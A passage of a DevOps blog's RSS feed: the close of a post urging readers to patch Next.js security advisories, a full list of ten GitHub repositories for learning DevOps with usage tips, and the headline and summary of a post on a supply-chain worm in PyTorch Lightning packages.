<p><a href="https://m.do.co/c/2a9bba940f39">DigitalOcean App Platform</a> is a solid landing spot if you want a managed runtime that still behaves like a server you understand. Native Next.js support, git-push deployments, predictable pricing, and you keep control over the network surface that the SSRF and DoS advisories above care about. New accounts get $200 in credits, which is enough to run a small production app for a few months while you validate the move.</p>
<p><a href="https://m.do.co/c/2a9bba940f39">Sign up for DigitalOcean</a> if you want to test it out, or pair the App Platform with a small Droplet for the bits of your stack that need a real VM.</p>
<h2 id="h2-wrap-up" class="group relative scroll-mt-24">
        <a href="#h2-wrap-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Wrap-Up
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-wrap-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Thirteen advisories in one release is a lot, but the rollout path is short: install the latest patch on your current major, redeploy, and stop relying on middleware alone for authorization. The middleware bypass family is the one to internalize beyond this single patch. Routes resolve through more transports than the URL the user types, and your auth model needs to be invariant to which transport handled the request.</p>
<p>If you operate Next.js anywhere reachable from the internet, this one is not optional. Patch today.</p>
<h3 id="h3-reference-links" class="group relative scroll-mt-24">
        <a href="#h3-reference-links" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Reference Links
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reference-links"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><a href="https://github.com/vercel/next.js/releases/tag/v16.2.6">Next.js 16.2.6 release notes</a></li>
<li><a href="https://github.com/vercel/next.js/releases/tag/v15.5.18">Next.js 15.5.18 release notes</a></li>
<li><a href="https://github.com/vercel/next.js/security/advisories">Next.js security advisories</a></li>
<li><a href="https://x.com/nextjs/status/2052489312944759202">Vercel announcement (X)</a></li>
<li><a href="https://m.do.co/c/2a9bba940f39">DigitalOcean App Platform ($200 credit)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[10 GitHub Repositories That Will Actually Teach You DevOps in 2026]]></title>
      <link>https://devops-daily.com/posts/top-github-devops-learning-repos-2026</link>
      <description><![CDATA[Most "top DevOps repos" lists are recycled awesome-list links. This one is a curated set of repositories that will move the needle on your DevOps skills, with star counts, who each one is for, and how to actually use it.]]></description>
      <pubDate>Tue, 05 May 2026 16:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/top-github-devops-learning-repos-2026</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[devops]]></category><category><![CDATA[learning]]></category><category><![CDATA[github]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[sre]]></category><category><![CDATA[career]]></category>
      <content:encoded><![CDATA[<p>There are roughly a thousand &quot;top DevOps repos&quot; listicles, and most of them are the same five awesome-lists in a different order. The problem with awesome-lists is that they are link directories. They tell you where to look, not what to do. If you want to actually get better at DevOps, you need a different shape of repo: ones with exercises, opinionated learning paths, hands-on demos, and source you can read and learn from.</p>
<p>So here are ten GitHub repositories that have moved real engineers from &quot;I have heard of Kubernetes&quot; to &quot;I run it in production.&quot; We will start with the one we maintain on this site, then walk through the rest in order of star count, with notes on who each one is for and how to get the most out of it.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>#</th>
<th>Repo</th>
<th>Stars</th>
<th>Best for</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td><a href="https://github.com/The-DevOps-Daily/devops-daily">The-DevOps-Daily/devops-daily</a></td>
<td>1k+</td>
<td>Tutorials, exercises, and quizzes across the stack</td>
</tr>
<tr>
<td>2</td>
<td><a href="https://github.com/nilbuild/developer-roadmap">nilbuild/developer-roadmap</a></td>
<td>354k</td>
<td>Visual roadmap to plan your learning</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/bregman-arie/devops-exercises">bregman-arie/devops-exercises</a></td>
<td>82k</td>
<td>Interview prep and practice questions</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">kelseyhightower/kubernetes-the-hard-way</a></td>
<td>48k</td>
<td>Building Kubernetes from scratch</td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/MichaelCade/90DaysOfDevOps">MichaelCade/90DaysOfDevOps</a></td>
<td>29k</td>
<td>A structured 90-day plan</td>
</tr>
<tr>
<td>6</td>
<td><a href="https://github.com/milanm/DevOps-Roadmap">milanm/DevOps-Roadmap</a></td>
<td>19k</td>
<td>Roadmap with linked study resources</td>
</tr>
<tr>
<td>7</td>
<td><a href="https://github.com/ramitsurana/awesome-kubernetes">ramitsurana/awesome-kubernetes</a></td>
<td>16k</td>
<td>Curated Kubernetes deep-dive material</td>
</tr>
<tr>
<td>8</td>
<td><a href="https://github.com/dastergon/awesome-sre">dastergon/awesome-sre</a></td>
<td>13k</td>
<td>SRE-specific reading list</td>
</tr>
<tr>
<td>9</td>
<td><a href="https://github.com/stefanprodan/podinfo">stefanprodan/podinfo</a></td>
<td>6k</td>
<td>A real microservice to deploy with GitOps</td>
</tr>
<tr>
<td>10</td>
<td><a href="https://github.com/wmariuss/awesome-devops">wmariuss/awesome-devops</a></td>
<td>4k</td>
<td>Broader DevOps tooling and practices</td>
</tr>
</tbody></table>
<p>Star counts are pulled fresh from the GitHub API as of May 2026.</p>
<h2 id="h2-1-the-devops-dailydevops-daily" class="group relative scroll-mt-24">
        <a href="#h2-1-the-devops-dailydevops-daily" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. The-DevOps-Daily/devops-daily
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-1-the-devops-dailydevops-daily"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/The-DevOps-Daily/devops-daily">github.com/The-DevOps-Daily/devops-daily</a>. the source for everything you read on this site, fully open source.</p>
<p>We did not put ourselves at the top because we own the site. We put ourselves at the top because the way the repo is structured is a fast loop: every blog post, exercise, quiz, flashcard, checklist, and interview question is a markdown or JSON file you can read, fork, and PR into. If you find a typo, a broken command, or an outdated CLI flag, you can fix it. If you have a better explanation of how kubelet eviction works, you can add a card to the relevant flashcard deck.</p>
<p>How to use it:</p>
<ul>
<li>Browse the <code>content/</code> directory. Pick a topic you want to get better at and run through the exercise.</li>
<li>Use the quizzes for spaced retrieval. Repeat until you stop getting things wrong.</li>
<li>Submit a PR when you find something to improve. The maintainers (us) review fast and merge most of the time.</li>
</ul>
<p>Best for engineers who learn by doing, contributing, and seeing the underlying source of every lesson.</p>
<h2 id="h2-2-nilbuilddeveloper-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-2-nilbuilddeveloper-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. nilbuild/developer-roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-2-nilbuilddeveloper-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/nilbuild/developer-roadmap">github.com/nilbuild/developer-roadmap</a>. 354k stars. Originally <code>kamranahmedse/developer-roadmap</code>, now under the <code>nilbuild</code> org. The DevOps roadmap is at <a href="https://roadmap.sh/devops">roadmap.sh/devops</a>.</p>
<p>This is a visual map of the skills, tools, and concepts that make up a DevOps career. It is the single best document on the internet for answering &quot;what should I learn next?&quot; without reinventing your own learning plan from scratch.</p>
<p>How to use it:</p>
<ul>
<li>Open the DevOps roadmap. Identify the area you are weakest in.</li>
<li>Click any node to get a short explanation, links, and a checklist.</li>
<li>Mark items as you go. The site keeps your progress in localStorage if you do not sign up.</li>
</ul>
<p>Best for people who feel scattered and want a single picture of the field.</p>
<h2 id="h2-3-bregman-ariedevops-exercises" class="group relative scroll-mt-24">
        <a href="#h2-3-bregman-ariedevops-exercises" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. bregman-arie/devops-exercises
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-3-bregman-ariedevops-exercises"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/bregman-arie/devops-exercises">github.com/bregman-arie/devops-exercises</a>. 82k stars. Maintained by Arie Bregman, ex-Red Hat.</p>
<p>This repository is the reason a lot of engineers passed their DevOps interviews. It is hundreds of practical questions and exercises across Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, and more. Each topic has a mix of explanation questions (&quot;What is X and when do you use it?&quot;) and hands-on exercises (&quot;Write the Terraform module that does X&quot;).</p>
<p>How to use it:</p>
<ul>
<li>Pick a topic. Try to answer the questions out loud or in writing without looking at the answers.</li>
<li>Star the ones you got wrong. Come back to them in a week.</li>
<li>Use it as a barometer. If you can answer most of the Kubernetes section without help, you know your Kubernetes is solid.</li>
</ul>
<p>Best for interview preparation and finding gaps in your knowledge.</p>
<h2 id="h2-4-kelseyhightowerkubernetes-the-hard-way" class="group relative scroll-mt-24">
        <a href="#h2-4-kelseyhightowerkubernetes-the-hard-way" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. kelseyhightower/kubernetes-the-hard-way
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-4-kelseyhightowerkubernetes-the-hard-way"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">github.com/kelseyhightower/kubernetes-the-hard-way</a>. 48k stars. The repo description is honest: &quot;Bootstrap Kubernetes the hard way. No scripts.&quot;</p>
<p>If you have only ever used <code>gcloud container clusters create</code> or <code>eksctl</code>, you have used Kubernetes. You have not learned it. This walkthrough has you stand up a control plane and worker nodes by hand, with TLS certificates you generated yourself, etcd you configured yourself, and a kubelet you registered yourself.</p>
<p>It is also a primary reason Kelsey Hightower has the reputation he has, which is its own kind of education.</p>
<p>How to use it:</p>
<ul>
<li>Block out a weekend. The full walkthrough takes 6 to 10 hours the first time.</li>
<li>Do not copy commands. Type them. Read what they do before you run them.</li>
<li>When something breaks (and it will), debug it. That is the entire point.</li>
</ul>
<p>Best for engineers who want a deep mental model of Kubernetes internals.</p>
<h2 id="h2-5-michaelcade90daysofdevops" class="group relative scroll-mt-24">
        <a href="#h2-5-michaelcade90daysofdevops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. MichaelCade/90DaysOfDevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-5-michaelcade90daysofdevops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/MichaelCade/90DaysOfDevOps">github.com/MichaelCade/90DaysOfDevOps</a>. 29k stars. Three years of community-curated 90-day plans.</p>
<p>This started as one engineer&#39;s public learning project: 90 days, one DevOps topic per day, write what you learned. It exploded, and is now a structured tour through Linux, networking, programming, containers, Kubernetes, IaC, observability, databases, and serverless across three different yearly cohorts. The format is one folder per day with notes, diagrams, and links.</p>
<p>How to use it:</p>
<ul>
<li>Treat it as a TV series, not a textbook. Watch one &quot;episode&quot; a day for 90 days.</li>
<li>Skip topics you already know. Spend extra time on the ones that feel uncomfortable.</li>
<li>Read previous cohorts&#39; notes when you finish a day. The 2022, 2023, and 2024 versions cover slightly different angles on the same material.</li>
</ul>
<p>Best for engineers early in their career who want a forced curriculum.</p>
<h2 id="h2-6-milanmdevops-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-6-milanmdevops-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. milanm/DevOps-Roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-6-milanmdevops-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/milanm/DevOps-Roadmap">github.com/milanm/DevOps-Roadmap</a>. 19k stars. A different style of roadmap from #2.</p>
<p>Where the nilbuild roadmap is a visual node graph, this one is a long markdown document with curated links, books, courses, and YouTube videos for every step of the path. It is heavier on resources, lighter on the conceptual map.</p>
<p>How to use it:</p>
<ul>
<li>Read the introduction. Identify which &quot;phase&quot; of the roadmap you are at.</li>
<li>Pick one resource per concept. Do not read all five linked resources for the same topic. Pick the format that matches how you learn best.</li>
<li>Use the prompts at the end of each section as a checklist before moving on.</li>
</ul>
<p>Best for self-taught engineers building their own curriculum.</p>
<h2 id="h2-7-ramitsuranaawesome-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-7-ramitsuranaawesome-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. ramitsurana/awesome-kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-7-ramitsuranaawesome-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/ramitsurana/awesome-kubernetes">github.com/ramitsurana/awesome-kubernetes</a>. 16k stars. The most thorough Kubernetes-specific awesome-list.</p>
<p>If your day job is Kubernetes-heavy and you want to specialize, this is the link directory you want. It has sections for everything: storage, networking, monitoring, security, multi-cluster, GitOps, service mesh, FinOps. Each link is annotated.</p>
<p>How to use it:</p>
<ul>
<li>Bookmark the page. Use it as a research starting point when you need to evaluate tools in a category.</li>
<li>Watch the commit log. New tools get added regularly, so it doubles as a &quot;what is happening in Kubernetes&quot; feed.</li>
</ul>
<p>Best for Kubernetes-track engineers and platform teams researching tools.</p>
<h2 id="h2-8-dastergonawesome-sre" class="group relative scroll-mt-24">
        <a href="#h2-8-dastergonawesome-sre" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          8. dastergon/awesome-sre
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-8-dastergonawesome-sre"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/dastergon/awesome-sre">github.com/dastergon/awesome-sre</a>. 13k stars. The SRE-flavored cousin.</p>
<p>DevOps and SRE overlap, but the SRE side weights toward reliability theory, incident response, observability, and the social engineering of running production systems. This repo is the curated reading list for that side: books (Google&#39;s SRE book, Charity Majors&#39; work), papers, postmortems, blog posts, conference talks, training courses.</p>
<p>How to use it:</p>
<ul>
<li>Read at least one published postmortem a week. The &quot;Postmortems&quot; section is gold.</li>
<li>The conference talks list is more useful than most paid SRE courses.</li>
<li>Pair it with <code>kelseyhightower/kubernetes-the-hard-way</code> if your SRE work is on a Kubernetes platform.</li>
</ul>
<p>Best for engineers moving into SRE or platform-engineering roles.</p>
<h2 id="h2-9-stefanprodanpodinfo" class="group relative scroll-mt-24">
        <a href="#h2-9-stefanprodanpodinfo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          9. stefanprodan/podinfo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-9-stefanprodanpodinfo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/stefanprodan/podinfo">github.com/stefanprodan/podinfo</a>. 6k stars. A small Go web app that exists to be deployed.</p>
<p>This one is different from the others. podinfo is not a learning resource in the read-and-take-notes sense. It is a real microservice (Go, REST + gRPC, metrics, tracing, health checks) that is purpose-built to be the demo target in tutorials. It is what every Flux, Argo CD, Linkerd, Istio, and Cilium tutorial uses when they need a service to deploy. If you want to actually try a GitOps tool end-to-end, you build the platform, point it at podinfo&#39;s helm chart, and ship.</p>
<p>How to use it:</p>
<ul>
<li>Stand up a kind or k3d cluster locally.</li>
<li>Install Flux or Argo CD and point it at the podinfo chart.</li>
<li>Roll out a canary. Add Linkerd. Add Prometheus. Each thing you add lets you exercise a different platform skill on a service that already works.</li>
</ul>
<p>Best for engineers who learn by deploying, not reading.</p>
<h2 id="h2-10-wmariussawesome-devops" class="group relative scroll-mt-24">
        <a href="#h2-10-wmariussawesome-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          10. wmariuss/awesome-devops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-10-wmariussawesome-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/wmariuss/awesome-devops">github.com/wmariuss/awesome-devops</a>. 4k stars. Smaller than <code>awesome-kubernetes</code>, broader in scope.</p>
<p>This is the everything-DevOps awesome list: chaos engineering, configuration management, container orchestration, log management, monitoring, package management, secret management, service discovery. The size of the list is approachable, which is its main strength. You can scroll the whole thing in 15 minutes and have a real mental map of the DevOps tooling landscape.</p>
<p>How to use it:</p>
<ul>
<li>Read the section headings before clicking any links. The taxonomy itself is a learning aid.</li>
<li>When evaluating a new category of tool (say, you have to pick a secret manager), use this as your starting set rather than Googling.</li>
</ul>
<p>Best for engineers who want a manageable map of the whole DevOps tools world.</p>
<h2 id="h2-how-to-actually-use-a-list-like-this" class="group relative scroll-mt-24">
        <a href="#h2-how-to-actually-use-a-list-like-this" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Actually Use a List Like This
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-actually-use-a-list-like-this"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Lists are starting points, not learning plans. The mistake people make is to star all ten repos and never come back. Avoid that:</p>
<ol>
<li><strong>Pick exactly one starting repo today.</strong> If you have no plan, start with #2 (the roadmap) to get one. If you have a plan, start with #4 (kubernetes-the-hard-way) to deepen it. If you are interview-prepping, start with #3 (devops-exercises).</li>
<li><strong>Block calendar time.</strong> &quot;I will learn DevOps in my spare time&quot; does not work. &quot;I will spend Thursdays from 7 to 9 PM on the kubernetes-the-hard-way walkthrough&quot; works.</li>
<li><strong>Build something.</strong> Pick one of the awesome-list categories you do not understand (say, &quot;service mesh&quot;) and use podinfo (#9) plus a tool from the list to build a working setup. You will learn more in two hours of building than two weeks of reading.</li>
<li><strong>Teach what you learned.</strong> Write a blog post. Submit a PR to #1 with a flashcard you made. Give a brown-bag at work. Teaching is the fastest way to find the gaps in what you thought you knew.</li>
</ol>
<p>Bookmark this page and come back when you finish one repo. The list is not going anywhere.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Awesome-lists are link directories</strong>, not learning plans. Pair them with hands-on repos like #1, #4, and #9.</li>
<li><strong>Star counts are not the same as quality</strong>, but they are a decent first filter. Anything above 5k stars in this space has been read by enough people to be roughly trustworthy.</li>
<li><strong>The single best learning loop is read → build → teach.</strong> Most engineers do step one, skip step two, and never reach step three. The repos in this list are picked to support all three.</li>
<li><strong>Start one. Finish one.</strong> Do not collect ten tabs and never close any of them.</li>
<li><strong>Contribute back.</strong> Every repo in this list takes PRs. Even small ones (typo fixes, broken-link fixes) count. They also get you GitHub history that future employers can see.</li>
</ol>
<p>If we missed a repo you think belongs here, <a href="https://github.com/The-DevOps-Daily/devops-daily/issues">open an issue on our repo</a> and tell us which one. We update this list when something deserves to be on it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Mini Shai-Hulud: PyTorch Lightning Just Stole Your CI Secrets]]></title>
      <link>https://devops-daily.com/posts/mini-shai-hulud-pytorch-lightning-supply-chain-attack</link>
      <description><![CDATA[On April 30 a supply chain worm pushed malicious versions of PyTorch Lightning (10M+ downloads/month), intercom-client, and intercom-php to PyPI, npm, and Packagist in 48 hours. It steals every credential in your CI and propagates through your own GitHub tokens. Here is what to check and what to rotate.]]></description>
      <pubDate>Tue, 05 May 2026 15:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/mini-shai-hulud-pytorch-lightning-supply-chain-attack</guid>
      <category><![CDATA[Security]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[pypi]]></category><category><![CDATA[npm]]></category><category><![CDATA[cve]]></category><category><![CDATA[python]]></category><category><![CDATA[javascript]]></category>
